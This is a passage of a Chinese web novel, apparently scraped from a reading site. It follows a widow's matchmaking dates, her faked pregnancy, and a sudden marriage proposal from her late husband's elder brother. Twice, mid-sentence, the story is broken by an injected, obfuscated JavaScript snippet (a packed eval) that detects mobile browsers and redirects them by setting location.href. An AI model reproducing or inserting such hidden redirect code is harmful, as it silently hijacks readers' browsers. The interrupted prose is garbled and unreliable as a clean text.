可眼前这个年轻人漏夜前来,晓之以情,动之以理,许之以利,确实是运筹帷幄、杀伐果断,已然在这短短的一个小时时间里,将事情的后续走向给定了下来。 只不过,费尽心思,只为了替舒家翻案么? 他疑惑,亦有不解。 眼前的男人没有多说,只是作揖郑重一礼,算作回答,然后面色沉沉地说了一句“节哀”,告辞离开。 . 下午,昼米尔市。 一辆车从敬宅驶出,这还是舒纯熙回到昼米尔市后,第二次出门。 敬亭的葬礼举办了三天,这期间,舒纯熙除了见过父亲交代给她的那几个人,也曾经在路上遇到其他同她寒暄的人。 有的与她礼貌性地客套,有的,则是给她递了名片。 半小时车程后,舒纯熙坐在一家私密性绝佳的咖啡厅会所里,对面的是一个长相儒雅的男人,带着金丝框眼镜,看上去比她大四五岁的模样。 这是舒纯熙和刘云溪第一次见面,对方是江大的副教授,主攻生物科技领域,是个妥妥的学霸。 而现在,是一场面对面的相亲。 虽然年纪比刘云溪小,但舒纯熙比刘云溪要放得开一点,她一向对于能够由自己主导的事情比较有耐心,也乐于掌握主动权,同面前有些腼腆的男人展开了话题,试图聊起来。 “刘先生既然在江大工作,那也是江大毕业的嘛?” 刘云溪放下手中的茶,动作幅度很小地点了一下头,回答道: “我是江大的本硕博连读。” 看他这个年纪,想来上的就是少年班了,就是那种十几岁就上了江大,然后一路本硕博早早毕业的天才学霸。 舒纯熙笑了笑,露出一口洁白整齐的牙齿,道: “我也是江大毕业的,不过我只念了本科。” 说起来,她这个志愿还是敬渝帮忙参考的呢,不过说是参考,其实用“内定”更准确一点,因为敬渝那时候已经在江大就读两年了。 20. 第 20 章 第二十章、 放眼整个维尔亚,昼米尔市的江大称得上是一座数一数二的综合类高等学府,与之并肩的还有北省的首都大学和惊云学院、中省的云先河学院。 当然,一直以来,也有许多维尔亚的达官贵人选择安排孩子出国去留学,从纽因洲到埃拉洲,海外各国的高等学府也有不少维尔亚人的身影。 舒纯熙高考填报志愿的时候,写的是离家最近的江大。 当然,她之所以会选择江大,肯定不只是因为“离家近”这一个好处——进了江大,她就又能每天都看得到敬渝,还能一起吃饭,就像她高一那时候时一样。 舒纯熙想到这个,目光停留在眼底的花茶水面,上面印出她一双没有什么笑意的眼睛,透过这双眼睛,她看见自己像是一株暴雨后的玉兰花树,那雨水涤荡了粗壮的树干,繁茂的树枝,把油绿绿的叶子都洗刷地干干净净。 余下的只有平静。 而那颗玉兰树呢,在清晨的日光投下第一缕之后,睁开双眼后却没有焕然一新的欣喜,她只是默默地垂首,检查起了一地的落花与狼藉。 伸出手,端起身前矮脚桌上的瓷杯,女人轻抿一口玫瑰花茶,起初有些涩,回味又是甘甜与酸味共同绽放在舌根。 游刃有余地跟刘云溪继续聊了几句无关紧要的,但脑海里,好像已经心不在焉了。 舒纯熙突然有点想知道,敬渝填报志愿的那时候,他为什么会选择上江大? 他们家有不少人都在国外上的大学,比如敬亭,那为什么,他就留在了维尔亚,在江大读大学呢? 她不知道,但很快也就把这一点小小疑惑给抛到脑后了。 刘云溪跟自己是第一次见面,所以一起吃晚餐与否都没关系。 她是这么想的,刘云溪大概也是。 喝完半杯茶,两个人也就礼貌性地在咖啡馆门口分别了。 之后两天,舒纯熙上午见一位,下午也见一位,每日早出晚归,在外面用完晚餐再回敬宅。 行程安排得紧凑,许久没有跟生人交际,脑子里充斥着一大堆细枝末节的信息,她却还是耐着性子,面上表现得游刃有余,你来我往地同人交谈着。 第三天晚上,舒纯熙在几声早夏的蝉鸣里回到敬宅。 走完上二楼的台阶,转角向左,就能看见宗正等在她的房间门外,倚着二楼的栏杆,右手抱着一束白色玫瑰花,不知道等得久不久。 意料之中,她轻挑眉头,胸膛里好像正荡漾开一朵水莲花,轻飘飘的。 高跟鞋踩在地板上清脆的声音丝毫不掩饰,闲庭信步,女人悠悠然朝高大的男人走去。 宗正寻声转过身,头还保持着原先地角度低垂着,和他微微向前弯曲的脊椎始终保持着一个角度,视线轻落在舒纯熙带着精致妆容的面庞上。 他自从进了敬宅就没有出去过,那所谓要在南省谈的生意根本就是个幌子。 所以这两天,只有他一个人每天二十四小时在敬宅待着,舒纯熙出门的事情,他并非一无所察。 至于她去做什么了,他也已经清楚,否则此时也不会站在这里。 女人也没有刻意掩饰她的行踪,难得地上了妆,唇上抿着淡粉色的口红,弥补了先前葬礼那几天她的惨淡气色。 头发烫了波浪形的大卷,俏生生地搭在肩后。 舒纯熙穿着一条颜色介于白与淡粉之间的长裙,臂上原先的黑色袖套在葬礼之后就已经摘下,朝自己款款而来。 勾起唇冲她淡淡一笑,宗正将花捧到她身前,她一伸手就能够到的地方,却没有立刻开口,只是往她面前又凑了一些。 面对送上门来的花,舒纯熙也不扭捏,眨了眨眼,端详了一下面前的这束花,看它绸缎般质感的花瓣,洁白的颜色,黑黝黝的眼珠随着上下打量的动作,细微地转动了一下。 “送给我的?” “对啊。” 宗正被她问得忍俊不禁,但她还没有伸手接过去,不知想到什么,他嘴角的笑意有些收敛起来,转而低低地叹息了一声,凝视着她的发顶,对她说: “听说这几天你出门去相亲了,不知道进展得怎么样了?” 这倒不是舒纯熙想听的答案,她立刻微皱了一下鼻子,目光从花上移开,往后退了半步,顺势仰起头,遥遥地跟宗正对视着。 宗正本就曲着腰低头看她,这样一来,她的气势倒显得比他还高出半截,如同睥睨俯视着他一样。 “挺好的,各有各的长处,长得也合我眼缘,我都有点纠结了。” 这几句话她没怎么犹豫地就说出口,语速轻快,说完真的陷入纠结思索的模样。 “家父今天给我打了电话,催我早点回北省,我应该在南省逗留不了太久了。” 宗正干笑两声,神色不明,但还是叹气,将花塞到她手上,这才完成了交接,然后又说: “我和宗家的诚意始终都在,如果你选择我,宗家会助舒家一臂之力……你手上应该有一些证据吧。” 舒纯熙拥着花,两只手下意识地攥成个拳头状。 要宗正给出承诺,并不容易。 她偏转头望向吊顶上的那盏华丽耀眼的水晶灯,半晌,才默默地开口,“我想见一个人,你有办法帮我安排么?” . 敬渝一行人在第四天中午回到了昼米尔市,跟一开始他和舒纯熙交代的时间没差一分一毫。 虽然是轻装简行,但到底出了一趟远门,敬渝也没有再回公司,直接回了家,又打发跟着自己一起去首都的十几个人,都各回各家好好休整一天。 敬渝回来之前没有通知李阿姨和柳叔,车子驶入庄园时差不多是饭点,他走上楼很快换了身衣服再下楼。 但餐厅里只有宗正一个人,他也不知道宗正为什么还没有走。 敬渝扯扯嘴角,同宗正互相问候,然后走到自己的位子上,拉开椅子坐了下去。 一边的宗正看着碗里喝到一半的汤,余光瞄到主人家落座后就一直没有动筷,一时间也不知道是该继续吃,还是应该怎么办。 谁叫敬渝回来的时候他这饭都开始吃了,但主人家回来,到底闹了点动静,自己虽然没受影响接着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376268|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了,但他进来之前,又没有吃完,现在就是这样一幅不上不下很尴尬的情景。 他花了一分钟时间,在心里面猜测敬渝是不是在等什么人,好在没过多久,敬渝自己也发现了异样,直接侧转头朝着厨房门外站着的佣人问了一句: “二夫人呢,她在房里吃午餐么?” 他知道有时候她会这样。 与此同时,听到这话的宗正有点心虚地把汤勺上的一勺骨头汤放进嘴里,听到那佣人回答敬渝,“敬总,二夫人出门去了,今天不在家里吃午餐。” 敬渝本来在等舒纯熙下楼吃饭,没见她下来,他又理所当然地觉得她可能是不想下楼吃饭,但他心里根本没想到,还有“她不在家”这个选项。 现在听到的这个回答,完全在他的意料之外。 她出门去了? 敬渝压下心里面紧随其后的“她去哪里了”“她出门去干嘛了”,没再说什么,“嗯”了一声之后,也拿起碗筷,埋头开始吃饭。 吃完饭,敬渝没有立刻回书房,在客厅里跟宗正应付了两句,又在书房外的小院转了两圈,才把李阿姨叫进书房来。 李阿姨知道敬渝回来之后应该会问舒纯熙的情况,一进门就对着坐在书桌后面的人,一五一十地都说了。 然后敬渝就知道,舒纯熙这几天都会出门一整天,并且不会回家吃饭。 “所以,她也不吃早餐?” “二夫人这几天早上出房门的时候就已经穿戴好了,紧接着就出门,我请她吃点早餐再走,她会说没胃口,实在吃不下去……我就让人用纸袋包了三明治和牛角包,还有一瓶牛奶,让她带上,饿了再吃。她实在推辞不过我的话就会带上,所以我觉得,应该是在路上吃了。” 敬渝半晌没有吭声,修长的食指点在手边的椅子扶手上,一下,一下,像是在思索什么,总算才说出口,低声问了句: “那你知道,她出门是去干什么了吗?” 这话一说出口,他又后悔了。询问她在家里吃住得如何,尚且算得上是关心她的生活,可现在话说出口,总还是觉得自己不应该窥探她的行踪。 不过,李阿姨应该也不知道吧,除非她主动跟李阿姨报备或者交代过什么。那她要是自己主动说过了,他问一下应该也没什么关系吧。 李阿姨还真知道,不过并不是敬渝所想的那样,而是柳叔跟她提过一嘴,毕竟车辆出行还有保镖安排,都是柳叔的工作范畴。 她默默地把柳叔给供出来,然后在敬渝的默认下,打电话把柳叔也给叫到书房来了。 然而柳叔艺高人胆大,话一出口,实在是惊掉人半个下巴,他当着李阿姨的面直接跟敬渝说: “二夫人这几天出门都是去咖啡馆、茶馆一类的地方,每半天会见一个年龄相仿的男士,对方都是西装革履的青年才俊,所以我推测,二夫人有可能是在相亲。” 说完,他长舒一口气,而身边的李阿姨瞪大了双眼,一副“不是老柳头,前天你可不是这么说的啊”的模样。 看完他,李阿姨又赶紧转过头来看书桌后的敬渝。 21. 第 21 章 第二十一章、 只见椅子上的人缓慢地皱起了眉头,身子向前一探,手从扶手上拿起来,转而两手交握着放在桌上,目光定定地落在桌面上,有些不虞地反驳道: “这都哪跟哪儿啊,柳叔你不要胡说。” “哎敬总你可不能这样说啊,二夫人这几天见的可都是异性,而且年龄还跟她差不多,要不就是比她稍微大几岁的样子。同龄,还是陌生的异性,两个人往那儿一坐,一聊就是一上午,除了相亲我也猜不出是别的什么了。” 柳叔挠挠头,但气势很足,摆明了“我猜的就是对的你还真别不信”。 敬渝被他的话一说,有点无可奈何地“嗤”得笑出一声,扶额又淡淡地笑了一会儿。 “……不可能。” 且不说敬亭刚走没过半年,她不会这么快就考虑这种事,她如今还怀着孩子呢,怎么可能会去相亲? 退一万步说,就算她真的是去相亲了,人家能接受这个孩子吗? 实在是捕风捉影的无稽之谈。 他摆摆手,打发两人出去。 放下心来,顺便站起身,走到沙发旁边,又拿起上次读到一半的书,摊在腿上,继续往后翻,动作随意,但看得还算认真。 但翻页的那点空当,神思一溜,脑海中竟然真的响起来她那天的话来。 她总不会是…… 敬渝迟疑了起来,手掌捏着那页纸一动不动地僵住,然后,脸上露出了一点疑惑来。 可一旦顺着自己想的那种可能性推测下去,他又不得不感到迷惑。 她现在到底打算做什么? 就带着这种迷惑,敬渝再也看不下去手里的书,坐在书房思索了起来。 他一面同自己说这一定不可能,一面又不禁会陷入苦思冥想,就这样纠结了一下午,直到夜幕降临,舒纯熙在晚饭前回来了。 上楼换了身衣服、洗了手,直到步入餐厅,舒纯熙看见敬渝也坐在餐桌旁,才知道他今天已经回来了。 宗正看见她进来时就已经站起身,从左手边主位上坐着的敬渝身后绕过去,替舒纯熙拉开了靠门厅的第一个椅子。 舒纯熙冲他抿嘴一笑,然后坐下,宗正才又回到自己的座位上。 虽然宗正的举动算不得手到擒来,但整个过程并不尴尬,仿佛水到渠成一般,只不过他和舒纯熙之间,还没有那么熟稔而已。 想了一下午的问题还没有着落,而借住在家里的客人已然当着自己的面,给舒纯熙献起了殷勤。 敬渝坐在一旁看完了整个过程的发生,眼底终于蒙上一层淡淡的阴翳,看着宗正的眼神探究里已经带上了一点不善。 好在除了这个举动,餐桌上宗正没有更多的举动。 三个人各自揣着自己心里面的事,心照不宣地保持着安静,在餐桌上用完晚餐。 舒纯熙一向是餐桌上第一个告辞离开的人,今天亦是,只不过她站起身后,没什么胃口的敬渝随即也站了起身,跟着她一起走出了饭厅。 舒纯熙对于跟在自己身后一起离开餐厅的人,感到有点奇怪,他一声不吭地,像是就要跟在自己身后一样,可从餐厅出来,不管去哪里,他们都是要同路几分钟的,她也没有理由怀疑什么。 大概是从来没遇上过这种情况,舒纯熙还是停下脚步,有点疑惑地回过头,歪了歪头,盯着敬渝看了一眼。 而被盯着的人原先的目光,是落在她的脑后的,此刻恰巧对上,桃花眼眨了眨,语气寻常地说: “要不要一起去散步?” 他的邀约让舒纯熙觉得莫名其妙,他们好像也不是可以一起饭后消食的关系吧。 但他幽深的眼神又明晃晃地在说,他其实是有事要找她,并不是真的只是邀请她去走走。 扯了扯唇角,舒纯熙不置可否,在敬渝继续向前走之后,落后了他几步,跟在了他身后,默认了他来带路的意思。 敬宅后面有很大的花园,西面是一片茂密的树林和淡水湖,再往北就是乱石园,而整片树林和乱石园加在一起的占地长度,才是东面后花园的长度。 敬渝记得,以前舒纯熙挺喜欢这个花园的。 被园丁打理得很好的大片绿茵草坪,规划得当的各色奇珍异草,颇有雅趣的石子小路弯弯绕绕,还有一些露天的藤椅沙发,和一个梧桐木做的摇椅样式的秋千。 确实是很闲适的赏景地点。 敬渝想着,于是走到这边,两个人在初夏还未完全暗下的黄昏天里,踏上小径,在几丛鲁冰花面前停了下来。 淡紫色和橙黄色的鲁冰花开得热烈,颜色犹如渐变,只不过在黯淡的天光下看不太清楚,只能勉强辨别出花朵的颜色来。 舒纯熙凝眸,目光落在花上没有移开,但也不会像曾经那样,跑上前去伸出手摸摸那些花的质感、再丈量一下叶子的宽大。 她没有那样悠闲和热情的心情。 想得有些出神,原本先停下来看花的人不知何时朝自己走近了两步,缩短了和她之间的距离。 舒纯熙视若罔闻,依旧低着头没有抬起。 终于,敬渝开口说话了,他问道: “我不在的这几天,你在家里一切都好吗,没遇到什么难事吧?” “嗯,”她应了一声,淡淡地说,“没有。” 敬渝听得出来,她还是没有什么要跟自己交谈的欲望,所有的话,只不过是被他推着问一句,她应付着回答一句,仅此而已。 所以,所有的委婉和试图让彼此放松一点的开场白,大概对她来说都是没有用的。 一口气堵在胸口,上不来也下不去,闷得慌,敬渝抚住一片叶子,握在手里,还是开门见山地问了: “听说你这几天都出门去见人了,如果你遇到什么事情了,有什么是我可以帮忙的吗?” 身旁的女人总算侧过头来望向他了,目光里带着点不算友善的笑意,敬渝不知道为什么,总觉得她的表情像是在看自己笑话一样。 应该是他想多了。 抚着叶子的手有点发虚地收了回来,在腰侧下意识地揩了两下,手掌抵在衣服上,对面是不会回答他问题的人,他叹了口气,在这无声的拉锯战里,认输似的闭上了双眼,缓慢地继续说道: “纯熙,之前去北省的行程过于突然,我让人准备的一份文件还没来得及给你。我知道敬亭的一部分遗产留给你了,但是国内的暮帆商会这边,我给你和孩子额外留了一份财产,我已经签过字了,明天我拿给你,你签好字给我,我让人去办财产变更手续,尽快过户到你的名下。” 说完,舒纯熙面上那种玩味的笑容退散了一些,带着点打量,冲他偏了偏头, “这算什么,对我的补偿?” 一声轻叹,尽管抑制着发出,却还是被她的耳朵给捕捉到了,敬渝努力勾起一个唇角的弧度,让自己看起来不那么地苦涩, “敬亭的事,我很抱歉,但是事已至此,我只能在这些方面做出点弥补,请你见谅。” “奥”了一声,舒纯熙煞有其事地点了点头,“行啊。” 她想敬渝应该会很大方,他能拿得出手的东西,不会是三瓜俩枣,看他想弥补自己的心还是很真诚的。 没有推辞,没有客套,没有嘲讽,加在一起只有三个字。 敬渝盯着眼前的这个比自己矮一个头的女人,心里升起一种莫名的颓败,他有点泄气,只好接着说道:

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“你不是认真的吧?”敬渝蹙起眉头,语气不觉已经严厉起来,“给孩子找一个毫无血缘关系的名义上的爸爸,真的会比你带着孩子留在敬家更好吗?敬家完全可以保护你们,而且我也会帮你一起照顾孩子,它的成长过程里不会缺少任何别的孩子都有的东西。你还有什么不放心的?” 舒纯熙皮笑肉不笑地发出一声“哼”。 不得不说,敬渝说的挺有道理的,但问题是,这个孩子根本就不存在,她骗了敬渝,不赶紧想办法离开敬家,难道等着他发现真相之后跟自己算账么? 舒纯熙眨了眨眼睛, “可是孩子不能没有名义上的父亲,你对它再好,终究只是大伯而已,大伯能代替父亲么?” 敬渝尽力压制着自己的情绪,但还是忍不住被舒纯熙给气笑了,他真的理解不了,她怎么能心安理得地告诉自己,她要带着敬家的孩子一起改嫁到别人的家里的。 这都叫什么事儿? 还口口声声地说非要给孩子找一个父亲,父亲有什么用?一个诈尸式教育里的父亲角色,有或没有,能有什么区别吗? “你一定要给孩子找一个父亲?无论如何都不会罢休?” 舒纯熙本来只是找个借口,但眼看着敬渝把这问题问得比自己说得还要绝对,又不能在这紧要关头认怂,只能硬着头皮迎上去,在心里猛地跺了一下脚,咬着牙拔高了声音,道: “对啊,我一定要找!” “那你留在敬家,我当孩子的爸爸!” 耳边传来几乎是咬着牙低吼出来的一句话,舒纯熙瞬间傻了眼,然后眼看着说这句话的人,脸已经彻底沉下来了,隐约在夜色里,看上去有种说不出的阴郁和严肃。 “你,你什么意思啊?” 舒纯熙狐疑地打量了一下站在面前,如同一尊石像般伫立着的男人,气势已经被惊得弱了下去。 敬渝终于把那句话说出口了,双手有些惭愧地蜷起来,但心却在此刻拨云见月,逐渐坚定了起来。好像真的把第一句话吐露出去之后,剩下的话也就没有那么难开口了。 他拧紧眉头,郑重又缓慢地说: “我的意思是,你不要再去相亲了,也不要想着再嫁给别人,你就留在敬家,我们两个结婚,孩子生下来,就说是我们俩的孩子,我来做孩子的爸爸。” 舒纯熙已经很久没有做出这么明显的表情了,她紧蹙着眉头,目光里的疑惑毫不掩饰,头颅动弹了一下,把敬渝从上到下好好给打量了一下,半晌,才吐出来几个字,有点急切地把话给扔到了地上, “你有病吧?!” 22. 第 22 章 第二十二章、 说完,好像敬渝真的是什么疯子一样,她一眼都没再多看,立刻转过身,连走带跑地往家里回。 一直走到上楼的楼梯跟前,舒纯熙才扶住把手停下,喘了几口气,身下的两条腿脚全然都麻了,轻飘飘地不听自己使唤。 敬渝刚刚说的那话是什么意思? 他现在脑子不太清醒吧? 猛地摇摇头,舒纯熙连忙“咦”了一声,把脑子里止不住冒出来的想法都给扫出去,然后再一鼓作气,上了楼回到自己的房间,先去冲了个热水澡。 吹完头发放下吹风机,门外的声音总算听得清楚,李阿姨在外面敲门,说是有东西给她。 舒纯熙把吹风机放回原地后就去开门,而门外的李阿姨拿着一个托盘,上面放着一个两根手指般大小的木雕,雕的是一个小人,头上还带着一顶比他身子还长的辣椒形红帽子。 “二夫人,这是敬总托我送过来的,说是纳布礼斯那边的手工特产,是用火山灰做的,还有带来好运气的意头呢。” 李阿姨介绍了两句,瞄着舒纯熙脸上没有出现一点预设中的高兴反应,有点讪讪地将东西往她面前递了递。 而舒纯熙只是迟疑地盯着那小玩意儿看了看,抿唇问: “为什么突然送我这个?” 而且这东西长得也不算太好看,最多能往有趣那方向上靠一靠。 不年不节,没有任何理由的,总不能说是他去一趟北省,还特意搜罗了礼物带回来给自己吧? 舒纯熙上下打量了一下托盘上的这个东西,只觉得它浑身上下都透露着一种诡异来,无论是它本身,还是送它的人。 李阿姨此时只想伸出手抹了抹额头上的汗,看来舒小姐完全没有要领情的意思,她只好连忙解释道: “这是敬总今天带回来的礼物,他给自己也买了一个,托敬总挂念,我和老柳也有一份……” 言下之意,是人人都有,她不用奇怪。 舒纯熙这才收回探究的神色,伸手把那小玩意儿拿在手上,扯了扯嘴角,道: “这样啊,谢谢李阿姨。” 李阿姨很努力地笑了笑,然后转身离开。 等到李阿姨下了楼,宗正才从走廊里走出来,往舒纯熙的房门口走去,房内的那人还站在原地,手里握着个什么东西,好像在走神,并没有立刻把门关上。 看见宗正的身影,舒纯熙向后退了一步,示意他进来说话。 两个人一前一后走到了阳台上,上一次宗正来这儿,还是他第一次跟她谈那件事的时候,现在,事情已经谈妥,两个人自然也就表现得更放松了。 宗正走到藤椅旁,伸手抚在靠背旁,顺势走过去,坐在了对面。 “一切都顺利吗今天?” 他指的自然是舒纯熙今天去见周政的事情,对外,就连柳叔也以为,她今天依旧是在相亲,这其中少不了宗正的帮助。 也是在今天,舒纯熙才终于见上了自己一直想见却始终错失机会的人,她父亲曾经的直系下属,周副司长。 “挺顺利的,多亏了你费心,谢谢。” 舒纯熙也坐了下来,抬头望远处黑乎乎的天空,语调里听不出什么情绪,像是海上传来缥缈的鸥鸣。 “我们的事,我准备等下次去探监的时候就告诉我父母,然后……就定下来吧。” 宗正颔首,看见舒纯熙正无意识地揪紧了膝上的两只手掌,随即将视线默默地移开,然后说, “好,听你的。” “……嗯。” . 另一边,敬渝还僵着身体站在原地。 舒纯熙丢下他走了,他有心去追,但终究还是偃旗息鼓。 她那句气急败坏的“你有病吧”像是一击重锤,把他的双脚牢牢给钉在了地上。 她说得对,他确实是有病吧。 他也觉得自己好像发烧了。 不然怎么会遇上眼前这所有的事情,不然他怎么会没办法解释这一堆接踵而来的难题? 他一直以为,她要回国来安胎生子,以为她至少会在昼米尔待上一年半载。 他知道在她面前,自己现在的身份很尴尬,他们之间隔了那两年,还隔了另一个人,所以他只能告诫自己要扮演好一个大伯哥的角色,做他该做的事情就行了。 至于其他的东西,他不该想,也没有他去多想的资格。 他一直是这么以为的,也是这么做的。 然后,直到今天他才知道,她根本就不是像自己以为的那样去想的。 她竟然这么快就开始考虑再嫁的事情了! 是上次探监的时候,舒家伯父伯母那么交待的她么?还是从一开始,她要回维尔亚来,就是存着这样的心思? 所以这次又是那样么,又是她很快地做了决定,然后想办法丢下他,把他隔离在外,于是等到下一次见面的时候,她就又要成为别人的妻子了么? 敬渝攥紧了手,脑海里原先所有的认知和计划全部都被推到了一边,此时此刻心乱如麻,压根也已经顾不上那些忌讳和规矩了。 一切都没有意义了,原来,敬家只是她中途停歇的站点,只是她临时停靠的一块泊板而已。 她要走了,她又要走了。 什么也不会给他留下。 心里面那一直以来隐藏在底下、连自己都不敢真的去面对的思绪,在思绪乱成一团糟的时候,也终于压制不住,要跑出来作乱了。 敬渝摇了摇头,却无力阻止心里的那个自己开始叫嚣、开始发狂。 他之前总觉得,现在她好歹是回来了,那他们还会有很长的时间去相处。 不管她是不是还在怨恨自己当年的事,不管她还要跟自己生多久的气,他们总还是有时间去消弭这一切的,他可以等,也可以慢慢去弥补她。 水滴穿石,聚沙成塔。 就算他现在还没有找到办法让她原谅自己,让他们之间的相处可以不要那么的冷漠,但只要她还在自己跟前,还跟自己处在同一栋房子里,总有一天他是会找到办法的。 总会找到一个让她不那么抵触、而他也终于可以再向她迈开一步的方法,总有那么一个平衡点,他会找到的。 但她没有给自己留时间了。 她已经开始考虑再嫁了,很快就要再次离开敬宅,再次离开他的视线。 出题人把考题毫不犹豫地收回去了。 这一切都发生得太措不及防了,完全出乎他的意料。 敬渝捂住胸口,胸腔里的心脏却越跳越快,挤压着他喉中最后的一点新鲜空气。 心里的那个声音破土而出,直截了当地催促起了他。 那个模糊的身影已经在眼前化为了一片悠扬的薄纱,如果他再不用力去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387735|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓,大概就要彻底消散,再也寻不到半点踪迹了。 不行! 脑中的一根弦“铮”的一声彻底断开,他在心里大吼了一声,脚已经抬起,下意识地就往回朝主楼快步走回去。 这一次,他没有去书房,径直上楼,回了自己的房间。 敬渝在自己的卧室里待的时间一向有限,除了睡觉、洗漱穿衣,几乎不会多做停留。 男人进了房门,伸手打开灯,忽然就放缓了脚步,一步比一步踏得沉重,来到左边的床头柜前,顺势坐到了床上,然后轻柔地拉开最上面的抽屉。 底部的滚轮发出一点声音,没多久被打开一个缝儿,几百个日子不曾见光的抽屉里,霎时投下半片顶灯的白光。 抽屉很空,除了一个绸缎材质的淡粉色小方盒外,没有别的东西。 抿紧双唇的人,目光凝滞地盯着那个盒子看了好一会儿,然后才下定决心,伸手把它拿了出来,牢牢握在了掌心里。 盒子里放着的戒指,是珠宝设计大师奥丁铭灵去世前的最后一个作品。 奥丁铭灵晚年行迹不定,离群索居,对于珠宝商和杂志记者的厌恶不加掩饰,拒绝在公开场合刊登这枚戒指的设计稿和成品照片。 是以,关于戒指的样子和下落至今众说纷纭,很少有人清楚,它如今究竟在谁的手里。 二十五岁那年,这是敬渝准备好的婚戒。 但它漂洋过海送到手上的时候,敬渝刚从莫瑞恩尔回来。 它来得太晚了,终究是他没选好时机。 现在想起来,终究像是一场幻梦一样,一帧一帧跳动得毫无逻辑秩序,发生得又太快,让人没有一点招架之力。 那时候的心尖也像是被一层层纱布给裹紧了一样,分明密不透风地进行过包扎了,却还是挡不住那些不甘和难过渗漏出来,日子一天一天的过,最后全都酿成了浓浓的遗憾。 敬渝没时间沉浸在对过去的缅怀中,手里的盒子四棱抵着掌心的皮肉,攥得发红,那幻痛反而像火舌般卷在心头,把阻隔他尽情感受自己情绪的东西都给燃烧殆尽。 现在他只知道,这一次,绝不能再让她离开自己,他也绝不会再放手了。 . 这一夜一觉睡到天亮,睁开眼后,舒纯熙立刻皱起了眉头,脑子里昨天敬渝说的话和宗正的脸庞,走马灯似的在脑海里循环播放了起来。 一旦思虑起来,脑子就不受控制地停不下来。 她头疼地敲了敲脑袋,从床上坐起身来。 早餐桌上,宗正先向敬渝和舒纯熙告辞,说下午就启程回北省。 敬渝跟他客套了两句生意上的事情,祝他一路顺利。 就这样,午饭之后,两人把宗正送到了大门口。 柳叔让人把宗正的行李搬上车,三个人站在大门口的石柱旁话别。 敬渝跟宗正并没有几句话好说的,反倒是宗正有意无意地拉着舒纯熙嘱咐了两句。 诸如天气渐热也不要贪凉,再者就是西面湖边的睡莲不久应该会开,他给她报个早信,建议她若想第一批赏花,最近可以多注意。 然后,舒纯熙竟然还破天荒地笑着应了下来,那笑容虽淡,但并不勉强。 他怎么不知道这两个人什么时候关系这么好了? 最后,宗正弯了弯眼睛,说,“纯熙,敬总,那我先走了,咱们后会有期。” 23. 第 23 章 第二十三章、 敬渝皮笑肉不笑地看着宗正登上车,又目送车驶远,脸立刻沉了下来,望着远处幽幽地琢磨了一下这声“纯熙”。 宗正不是说自己算得上是舒纯熙的远方表哥么,怎么现在又叫上“纯熙”了? 于是他又转身去看舒纯熙,但身旁哪里还有人,她早在宗正上车不久后就转身往回走了。 吃完午饭,身体正努力地消化着胃里的食物,大脑供血不足,舒纯熙理所当然地感觉到困倦,但她困归困,并不想去午睡。 既然宗正提了一嘴西边的睡莲,趁着天边正好有一片云彩遮住了太阳,走在露天的环境下也不会觉得晒,她转过身后,索性直接穿过主楼,往西边的树林走。 步子不慢,舒纯熙走到那一小片睡莲前的木头桥上才停下脚步。 昼米尔市的气候颇为奇怪,常被居民戏称为“一年只有两季”,严冬刚过,一场春雨下过,天气就会突然炎热起来,待到了盛夏过后,再下一场雨,落一地的秋叶,转眼就会过冬了。 实话实说,昼米尔市的气候其实并不温和,算不上太宜居。 不过这里到底是舒纯熙从小长大的地方,这么多年来,这种天气变化早就刻在骨子里,如果不是后面有两年在波利市的生活经历,她根本不会觉得有什么奇怪的。 而且,一年四季里,她偏爱的还是夏季,这时候的一切都热烈极了,无论是花草树木,还是鲜果菜蔬,都长到了一生中最当季的时刻。 当然,这些都是以前的她的想法。 现在她还是喜欢,可是她总觉得,自己的喜欢,已经不怎么重要了,毕竟她自己也重视不起来。 湖边的睡莲浮着袖珍的翠绿莲叶,有几个花骨朵确实像宗正说的那样,从水里冒头,最中间花片合在一起的地方,透出一点点打头的颜色,说不定在某个幽静的夜里,忽然会绽放开来也不一定。 舒纯熙杵在桥上,静静地望了一会儿,却没什么更多的兴味,反而有些心不在焉。 正好先前那片云彩也已经被风推走了,太阳光没有一点遮挡地照在身上,两袖的面料很快就被照得暖和起来。 一手搭在额边,一面转过身往回走,舒纯熙随着心意,鬼斧神差地就走到了昨天跟敬渝散步的花园里面。 不远处就是两株参天大树,高大的树冠在树下辟出一片树荫,那底下放置着一架摇椅秋千。 她还记得以前夏日午后,自己坐在那秋千上面乘凉的场景。 从小身体就有点虚,即使到了夏天,她依旧怕凉,空调房里的温度稍有不适,她就要加一件外套,从头到脚把自己给包裹起来,漏一点风就会觉得不舒服。 所以昼米尔的夏天,大太阳炙烤着大地,所有人都躲在空调房里“人工纳凉”的时候,会跑到那秋千底下乘凉的,也就只有自己一个人而已。 想着,舒纯熙已经情不自禁地踏出脚步,朝那边走过去。 回忆与现实交替,仿佛自己走进了幻梦,只不过没有了曾经的心情。 她坐上了那秋千,一只手抵在坐榻上,另一只手,搭在身侧与秋千顶部连接的圆木条上,悠然地晃动了起来。 准确来说,她只是长大了,遇到了很多难以解决的事,又或者说,她的心其实已经垂垂老矣,再也没有了童年时的活力。 . 如果早点知道,舒纯熙在这一轮相亲里,最终选定了谁,敬渝一定不会放任宗正继续住在敬宅。 还送她玫瑰花…… 敬渝一想到这个,眉心就一下接着一下猛跳,整个人周身的气质都郁闷了几分。 